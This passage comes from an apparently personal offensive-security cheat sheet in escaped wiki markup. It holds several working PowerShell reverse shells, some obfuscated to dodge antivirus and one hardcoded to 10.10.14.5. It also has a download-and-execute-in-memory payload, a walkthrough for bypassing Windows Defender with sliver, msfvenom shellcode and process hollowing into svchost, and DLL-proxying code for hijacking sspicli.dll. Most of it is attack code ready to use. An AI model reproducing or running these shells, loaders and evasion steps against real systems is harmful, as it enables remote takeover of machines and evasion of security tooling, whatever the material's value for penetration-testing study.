$BT = New-Object &amp;quot;S`y`stem.Net.Sockets.T`CPCl`ient&amp;quot;($args[0],$args[1]);&lt;br /&gt;
$replace = $BT.GetStream();&lt;br /&gt;
[byte[]]$B = 0..(32768*2-1)|%{0};&lt;br /&gt;
$B = ([text.encoding]::UTF8).GetBytes(&amp;quot;(c) Microsoft Corporation. All rights reserved.`n`n&amp;quot;)&lt;br /&gt;
$replace.Write($B,0,$B.Length)&lt;br /&gt;
$B = ([text.encoding]::ASCII).GetBytes((Get-Location).Path + &#039;&amp;gt;&#039;)&lt;br /&gt;
$replace.Write($B,0,$B.Length)&lt;br /&gt;
[byte[]]$int = 0..(10000+55535)|%{0};&lt;br /&gt;
while(($i = $replace.Read($int, 0, $int.Length)) -ne 0){;&lt;br /&gt;
$ROM = [text.encoding]::ASCII.GetString($int,0, $i);&lt;br /&gt;
$I = (nothingHere $ROM 2&amp;gt;&amp;amp;1 | K );&lt;br /&gt;
$I2  = $I + (pwd).Path + &#039;&amp;gt; &#039;;&lt;br /&gt;
$U = [text.encoding]::ASCII.GetBytes($I2);&lt;br /&gt;
$replace.Write($U,0,$U.Length);&lt;br /&gt;
$replace.Flush()};&lt;br /&gt;
$BT.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: @TihanyiNorbert (Reverse shell based on the original nishang Framework written by @nikhil_mitt)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$J = New-Object System.Net.Sockets.TCPClient($args[0],$args[1]);&lt;br /&gt;
$SS = $J.GetStream();&lt;br /&gt;
[byte[]]$OO = 0..((2-shl(3*5))-1)|%{0};&lt;br /&gt;
$OO = ([text.encoding]::UTF8).GetBytes(&amp;quot;Copyright (C) 2022 Microsoft Corporation. All rights reserved.`n`n&amp;quot;)&lt;br /&gt;
$SS.Write($OO,0,$OO.Length)&lt;br /&gt;
$OO = ([text.encoding]::UTF8).GetBytes((Get-Location).Path + &#039;&amp;gt;&#039;)&lt;br /&gt;
$SS.Write($OO,0,$OO.Length)&lt;br /&gt;
[byte[]]$OO = 0..((2-shl(3*5))-1)|%{0};&lt;br /&gt;
while(($A = $SS.Read($OO, 0, $OO.Length)) -ne 0){;$DD = (New-Object System.Text.UTF8Encoding).GetString($OO,0, $A);&lt;br /&gt;
$GG = (i`eX $DD 2&amp;gt;&amp;amp;1 | Out-String );&lt;br /&gt;
$H  = $GG + (pwd).Path + &#039;&amp;gt; &#039;;&lt;br /&gt;
$L = ([text.encoding]::UTF8).GetBytes($H);&lt;br /&gt;
$SS.Write($L,0,$L.Length);&lt;br /&gt;
$SS.Flush()};&lt;br /&gt;
$J.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: @TihanyiNorbert (Reverse shell based on the original nishang Framework written by @nikhil_mitt)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$c = New-Object System.Net.Sockets.TCPClient($args[0],$args[1]);&lt;br /&gt;
$I = $c.GetStream();&lt;br /&gt;
[byte[]]$U = 0..(2-shl15)|%{0};&lt;br /&gt;
$U = ([text.encoding]::ASCII).GetBytes(&amp;quot;Copyright (C) 2021 Microsoft Corporation. All rights reserved.`n`n&amp;quot;)&lt;br /&gt;
$I.Write($U,0,$U.Length)&lt;br /&gt;
$U = ([text.encoding]::ASCII).GetBytes((Get-Location).Path + &#039;&amp;gt;&#039;)&lt;br /&gt;
$I.Write($U,0,$U.Length)&lt;br /&gt;
while(($k = $I.Read($U, 0, $U.Length)) -ne 0){;$D = (New-Object System.Text.UTF8Encoding).GetString($U,0, $k);&lt;br /&gt;
$a = (iex $D 2&amp;gt;&amp;amp;1 | Out-String );&lt;br /&gt;
$r  = $a + (pwd).Path + &#039;&amp;gt; &#039;;&lt;br /&gt;
$m = ([text.encoding]::ASCII).GetBytes($r);&lt;br /&gt;
$I.Write($m,0,$m.Length);&lt;br /&gt;
$I.Flush()};&lt;br /&gt;
$c.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: @TihanyiNorbert (Based on the original nishang Framework written by @nikhil_mitt)&lt;br /&gt;
&lt;br /&gt;
Reverse PowerShell:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$socket = new-object System.Net.Sockets.TcpClient(&#039;10.10.14.5&#039;, 4445);&lt;br /&gt;
if($socket -eq $null){exit 1}&lt;br /&gt;
$stream = $socket.GetStream();&lt;br /&gt;
$writer = new-object System.IO.StreamWriter($stream);&lt;br /&gt;
$buffer = new-object System.Byte[] 1024;&lt;br /&gt;
$encoding = new-object System.Text.AsciiEncoding;&lt;br /&gt;
do{&lt;br /&gt;
        $writer.Write(&amp;quot;PS&amp;gt; &amp;quot;);&lt;br /&gt;
        $writer.Flush();&lt;br /&gt;
        $read = $null;&lt;br /&gt;
        while($stream.DataAvailable -or ($read = $stream.Read($buffer, 0, 1024)) -eq $null){}&lt;br /&gt;
        $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($buffer, 0, $read);&lt;br /&gt;
        $sendback = (iex $data 2&amp;gt;&amp;amp;1 | Out-String );&lt;br /&gt;
        $sendback2  = $sendback;&lt;br /&gt;
        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);&lt;br /&gt;
        $writer.Write($sendbyte,0,$sendbyte.Length);&lt;br /&gt;
}While ($true);&lt;br /&gt;
$writer.close();$socket.close();&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== PowerShell Download payload ====&lt;br /&gt;
&lt;br /&gt;
WebClient DownloadData [http://x.x.x.x/file.exe http://x.x.x.x/file.exe] method:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$bytes = (new-object net.webclient).downloaddata(&amp;quot;http://10.10.16.74:8080/payload.exe&amp;quot;)&lt;br /&gt;
[System.Reflection.Assembly]::Load($bytes)&lt;br /&gt;
$BindingFlags= [Reflection.BindingFlags] &amp;quot;NonPublic,Static&amp;quot;&lt;br /&gt;
$main = [Shell].getmethod(&amp;quot;Main&amp;quot;, $BindingFlags)&lt;br /&gt;
$main.Invoke($null, $null)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tools that may help with AV Evasion:&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/phra/PEzor https://github.com/phra/PEzor]&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/bats3c/darkarmour https://github.com/bats3c/darkarmour]&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/loadenmb/tvasion https://github.com/loadenmb/tvasion]&lt;br /&gt;
&lt;br /&gt;
== C2 Frameworks ==&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?p=2476 Command And Control – C2 Framework – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
=== Bypassing defender with sliver and staged process hollowing ===&lt;br /&gt;
&lt;br /&gt;
I was able to bypass Windows Defender on a fully patched Windows 10 (12.12.2023) using process hollowing and sliver with shellcode generated by msfvenom.&lt;br /&gt;
&lt;br /&gt;
This is a two staged exectution. The first stage will get our stager for sliver and inject it to svchost using process hollowing. The next stage is sliver executing our implant on the target.&lt;br /&gt;
&lt;br /&gt;
Ps. I was able to bypass defender on Windows 11, however I had to run it through ConfuserEX and enable InsecureGuestAuth. Implementing an authentication method for SMB in the process hollowing code would&#039;ve helped us circumvent guest access blocking.&lt;br /&gt;
&lt;br /&gt;
First generate a shellcode using msfvenom.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfvenom -p windows/x64/custom/reverse_winhttp LHOST=192.168.1.38 LPORT=1234 LURI=/hello.woff -f raw -o stager.bin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
We will use a technique called process hollowing and place our shellcode in svchosts.exe. The shellcode will be hosted on my kali using smbserver.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
# Snippet from process hollowing code. See CheatSheet II for full code.&lt;br /&gt;
            string targetPath = &amp;quot;C:\\Windows\\System32\\svchost.exe&amp;quot;;&lt;br /&gt;
            string shellcodePath = &amp;quot;\\\\192.168.1.38\\share\\UNEVEN_DESTRUCTION.bin&amp;quot;; // Replace with the actual shellcode file path&lt;br /&gt;
            IntPtr processHandle, threadHandle;&lt;br /&gt;
            uint threadId;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
No I will start an smbserver on my kali and setup sliver.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Create a new profile that will be we will use for our staging listener.&lt;br /&gt;
profiles new --mtls 192.168.1.38 --format shellcode win-shellcode&lt;br /&gt;
# Creata a steage listener and link it to our profile.&lt;br /&gt;
stage-listener --url http://192.168.1.38:1234 --profile win-shellcode --prepend-size&lt;br /&gt;
# Last start a listener on mTLS.&lt;br /&gt;
mtls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-12-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-12-image-4.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-12-image-5.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== Convert .bin to shellcode \x hex ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/JohnHammond/binnim JohnHammond/binnim: Shitty Nim code that reads in a file and converts it into \x hex representation, for the use of shellcode binaries. (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
./binnim ~/shellcode.bin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DLL Proxying ==&lt;br /&gt;
&lt;br /&gt;
This method involves creating a malicious DLL that mimics the interface of a legitimate DLL but adds malicious functionality. The proxy DLL forwards legitimate calls to the original DLL while performing malicious activities in the background.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/Accenture/Spartacus?source=post_page-----733d423fc67b-------------------------------- sadreck/Spartacus: Spartacus DLL/COM Hijacking Toolkit (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;gt; * Spartacus automates most of the process. It parses raw [https://learn.microsoft.com/en-us/sysinternals/downloads/procmon SysInternals Process Monitor] logs, and you can leave ProcMon running for hours and discover 2nd and 3rd level DLL/COM hijacking vulnerabilities (ie an app that loads another DLL that loads yet another DLL when you use a specific feature of the parent app).&lt;br /&gt;
&amp;gt;&lt;br /&gt;
&amp;gt;&lt;br /&gt;
&amp;gt;&lt;br /&gt;
&amp;gt; * Automatically generate Visual Studio solutions for vulnerable DLLs.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Spartacus.exe --mode dll --procmon C:\Users\Maldev\Destkop\Tools\Sysinternals\Procmon.exe --pml C:\Data\logs.pml --csv C:\Data\vulndll.csv --solution C:\Data\Solution --verbose&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Below is an example of DLL proxying of mattermost. In this example spartacus detected that sspicli.dll is missing.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#pragma once&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AcceptSecurityContext=C:\\Windows\\System32\\sspicli.AcceptSecurityContext,@4&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AcquireCredentialsHandleA=C:\\Windows\\System32\\sspicli.AcquireCredentialsHandleA,@5&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AcquireCredentialsHandleW=C:\\Windows\\System32\\sspicli.AcquireCredentialsHandleW,@6&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AddCredentialsA=C:\\Windows\\System32\\sspicli.AddCredentialsA,@7&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AddCredentialsW=C:\\Windows\\System32\\sspicli.AddCredentialsW,@8&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AddSecurityPackageA=C:\\Windows\\System32\\sspicli.AddSecurityPackageA,@9&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AddSecurityPackageW=C:\\Windows\\System32\\sspicli.AddSecurityPackageW,@10&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ApplyControlToken=C:\\Windows\\System32\\sspicli.ApplyControlToken,@11&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ChangeAccountPasswordA=C:\\Windows\\System32\\sspicli.ChangeAccountPasswordA,@12&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ChangeAccountPasswordW=C:\\Windows\\System32\\sspicli.ChangeAccountPasswordW,@13&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:CompleteAuthToken=C:\\Windows\\System32\\sspicli.CompleteAuthToken,@14&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:CredMarshalTargetInfo=C:\\Windows\\System32\\sspicli.CredMarshalTargetInfo,@15&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:CredUnmarshalTargetInfo=C:\\Windows\\System32\\sspicli.CredUnmarshalTargetInfo,@16&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:DecryptMessage=C:\\Windows\\System32\\sspicli.DecryptMessage,@17&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:DeleteSecurityContext=C:\\Windows\\System32\\sspicli.DeleteSecurityContext,@18&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:DeleteSecurityPackageA=C:\\Windows\\System32\\sspicli.DeleteSecurityPackageA,@19&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:DeleteSecurityPackageW=C:\\Windows\\System32\\sspicli.DeleteSecurityPackageW,@20&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:EncryptMessage=C:\\Windows\\System32\\sspicli.EncryptMessage,@21&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:EnumerateSecurityPackagesA=C:\\Windows\\System32\\sspicli.EnumerateSecurityPackagesA,@22&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:EnumerateSecurityPackagesW=C:\\Windows\\System32\\sspicli.EnumerateSecurityPackagesW,@23&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ExportSecurityContext=C:\\Windows\\System32\\sspicli.ExportSecurityContext,@24&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:FreeContextBuffer=C:\\Windows\\System32\\sspicli.FreeContextBuffer,@25&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:FreeCredentialsHandle=C:\\Windows\\System32\\sspicli.FreeCredentialsHandle,@26&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:GetSecurityUserInfo=C:\\Windows\\System32\\sspicli.GetSecurityUserInfo,@27&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:GetUserNameExA=C:\\Windows\\System32\\sspicli.GetUserNameExA,@28&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:GetUserNameExW=C:\\Windows\\System32\\sspicli.GetUserNameExW,@29&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ImpersonateSecurityContext=C:\\Windows\\System32\\sspicli.ImpersonateSecurityContext,@30&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ImportSecurityContextA=C:\\Windows\\System32\\sspicli.ImportSecurityContextA,@31&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ImportSecurityContextW=C:\\Windows\\System32\\sspicli.ImportSecurityContextW,@32&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:InitSecurityInterfaceA=C:\\Windows\\System32\\sspicli.InitSecurityInterfaceA,@33&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:InitSecurityInterfaceW=C:\\Windows\\System32\\sspicli.InitSecurityInterfaceW,@34&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:InitializeSecurityContextA=C:\\Windows\\System32\\sspicli.InitializeSecurityContextA,@35&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:InitializeSecurityContextW=C:\\Windows\\System32\\sspicli.InitializeSecurityContextW,@36&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LogonUserExExW=C:\\Windows\\System32\\sspicli.LogonUserExExW,@37&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaCallAuthenticationPackage=C:\\Windows\\System32\\sspicli.LsaCallAuthenticationPackage,@38&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaConnectLocalUser=C:\\Windows\\System32\\sspicli.LsaConnectLocalUser,@39&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaConnectUntrusted=C:\\Windows\\System32\\sspicli.LsaConnectUntrusted,@40&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaDeregisterLogonProcess=C:\\Windows\\System32\\sspicli.LsaDeregisterLogonProcess,@41&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaEnumerateLogonSessions=C:\\Windows\\System32\\sspicli.LsaEnumerateLogonSessions,@42&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaFreeReturnBuffer=C:\\Windows\\System32\\sspicli.LsaFreeReturnBuffer,@43&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaGetLogonSessionData=C:\\Windows\\System32\\sspicli.LsaGetLogonSessionData,@44&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaLogonUser=C:\\Windows\\System32\\sspicli.LsaLogonUser,@45&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaLookupAuthenticationPackage=C:\\Windows\\System32\\sspicli.LsaLookupAuthenticationPackage,@46&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaRegisterLogonProcess=C:\\Windows\\System32\\sspicli.LsaRegisterLogonProcess,@47&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaRegisterPolicyChangeNotification=C:\\Windows\\System32\\sspicli.LsaRegisterPolicyChangeNotification,@48&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaSetMachineCertificate=C:\\Windows\\System32\\sspicli.LsaSetMachineCertificate,@49&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaUnregisterPolicyChangeNotification=C:\\Windows\\System32\\sspicli.LsaUnregisterPolicyChangeNotification,@50&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:MakeSignature=C:\\Windows\\System32\\sspicli.MakeSignature,@51&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryContextAttributesA=C:\\Windows\\System32\\sspicli.QueryContextAttributesA,@52&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryContextAttributesExA=C:\\Windows\\System32\\sspicli.QueryContextAttributesExA,@53&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryContextAttributesExW=C:\\Windows\\System32\\sspicli.QueryContextAttributesExW,@54&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryContextAttributesW=C:\\Windows\\System32\\sspicli.QueryContextAttributesW,@55&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryCredentialsAttributesA=C:\\Windows\\System32\\sspicli.QueryCredentialsAttributesA,@56&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryCredentialsAttributesExA=C:\\Windows\\System32\\sspicli.QueryCredentialsAttributesExA,@57&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryCredentialsAttributesExW=C:\\Windows\\System32\\sspicli.QueryCredentialsAttributesExW,@58&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryCredentialsAttributesW=C:\\Windows\\System32\\sspicli.QueryCredentialsAttributesW,@59&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QuerySecurityContextToken=C:\\Windows\\System32\\sspicli.QuerySecurityContextToken,@60&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QuerySecurityPackageInfoA=C:\\Windows\\System32\\sspicli.QuerySecurityPackageInfoA,@61&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QuerySecurityPackageInfoW=C:\\Windows\\System32\\sspicli.QuerySecurityPackageInfoW,@62&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:RevertSecurityContext=C:\\Windows\\System32\\sspicli.RevertSecurityContext,@63&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslAcceptSecurityContext=C:\\Windows\\System32\\sspicli.SaslAcceptSecurityContext,@64&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslEnumerateProfilesA=C:\\Windows\\System32\\sspicli.SaslEnumerateProfilesA,@65&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslEnumerateProfilesW=C:\\Windows\\System32\\sspicli.SaslEnumerateProfilesW,@66&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslGetContextOption=C:\\Windows\\System32\\sspicli.SaslGetContextOption,@67&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslGetProfilePackageA=C:\\Windows\\System32\\sspicli.SaslGetProfilePackageA,@68&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslGetProfilePackageW=C:\\Windows\\System32\\sspicli.SaslGetProfilePackageW,@69&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslIdentifyPackageA=C:\\Windows\\System32\\sspicli.SaslIdentifyPackageA,@70&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslIdentifyPackageW=C:\\Windows\\System32\\sspicli.SaslIdentifyPackageW,@71&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslInitializeSecurityContextA=C:\\Windows\\System32\\sspicli.SaslInitializeSecurityContextA,@72&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslInitializeSecurityContextW=C:\\Windows\\System32\\sspicli.SaslInitializeSecurityContextW,@73&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslSetContextOption=C:\\Windows\\System32\\sspicli.SaslSetContextOption,@74&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SealMessage=C:\\Windows\\System32\\sspicli.SealMessage,@75&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SecCacheSspiPackages=C:\\Windows\\System32\\sspicli.SecCacheSspiPackages,@76&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SecDeleteUserModeContext=C:\\Windows\\System32\\sspicli.SecDeleteUserModeContext,@1&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SecInitUserModeContext=C:\\Windows\\System32\\sspicli.SecInitUserModeContext,@2&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciAllocateAndSetCallFlags=C:\\Windows\\System32\\sspicli.SeciAllocateAndSetCallFlags,@77&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciAllocateAndSetCallTarget=C:\\Windows\\System32\\sspicli.SeciAllocateAndSetCallTarget,@78&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciAllocateAndSetIPAddress=C:\\Windows\\System32\\sspicli.SeciAllocateAndSetIPAddress,@79&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciFreeCallContext=C:\\Windows\\System32\\sspicli.SeciFreeCallContext,@80&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciIsProtectedUser=C:\\Windows\\System32\\sspicli.SeciIsProtectedUser,@81&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SetContextAttributesA=C:\\Windows\\System32\\sspicli.SetContextAttributesA,@82&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SetContextAttributesW=C:\\Windows\\System32\\sspicli.SetContextAttributesW,@83&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SetCredentialsAttributesA=C:\\Windows\\System32\\sspicli.SetCredentialsAttributesA,@84&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SetCredentialsAttributesW=C:\\Windows\\System32\\sspicli.SetCredentialsAttributesW,@85&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiCompareAuthIdentities=C:\\Windows\\System32\\sspicli.SspiCompareAuthIdentities,@86&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiCopyAuthIdentity=C:\\Windows\\System32\\sspicli.SspiCopyAuthIdentity,@87&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiDecryptAuthIdentity=C:\\Windows\\System32\\sspicli.SspiDecryptAuthIdentity,@88&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiDecryptAuthIdentityEx=C:\\Windows\\System32\\sspicli.SspiDecryptAuthIdentityEx,@89&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiEncodeAuthIdentityAsStrings=C:\\Windows\\System32\\sspicli.SspiEncodeAuthIdentityAsStrings,@90&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiEncodeStringsAsAuthIdentity=C:\\Windows\\System32\\sspicli.SspiEncodeStringsAsAuthIdentity,@91&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiEncryptAuthIdentity=C:\\Windows\\System32\\sspicli.SspiEncryptAuthIdentity,@92&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiEncryptAuthIdentityEx=C:\\Windows\\System32\\sspicli.SspiEncryptAuthIdentityEx,@93&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiExcludePackage=C:\\Windows\\System32\\sspicli.SspiExcludePackage,@94&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiFreeAuthIdentity=C:\\Windows\\System32\\sspicli.SspiFreeAuthIdentity,@95&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiGetComputerNameForSPN=C:\\Windows\\System32\\sspicli.SspiGetComputerNameForSPN,@96&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiGetTargetHostName=C:\\Windows\\System32\\sspicli.SspiGetTargetHostName,@97&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiIsAuthIdentityEncrypted=C:\\Windows\\System32\\sspicli.SspiIsAuthIdentityEncrypted,@98&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiLocalFree=C:\\Windows\\System32\\sspicli.SspiLocalFree,@99&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiMarshalAuthIdentity=C:\\Windows\\System32\\sspicli.SspiMarshalAuthIdentity,@100&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiPrepareForCredRead=C:\\Windows\\System32\\sspicli.SspiPrepareForCredRead,@101&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiPrepareForCredWrite=C:\\Windows\\System32\\sspicli.SspiPrepareForCredWrite,@102&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiSetChannelBindingFlags=C:\\Windows\\System32\\sspicli.SspiSetChannelBindingFlags,@103&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiUnmarshalAuthIdentity=C:\\Windows\\System32\\sspicli.SspiUnmarshalAuthIdentity,@104&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiUnmarshalAuthIdentityInternal=C:\\Windows\\System32\\sspicli.SspiUnmarshalAuthIdentityInternal,@3&amp;quot;)&lt;br /&gt;
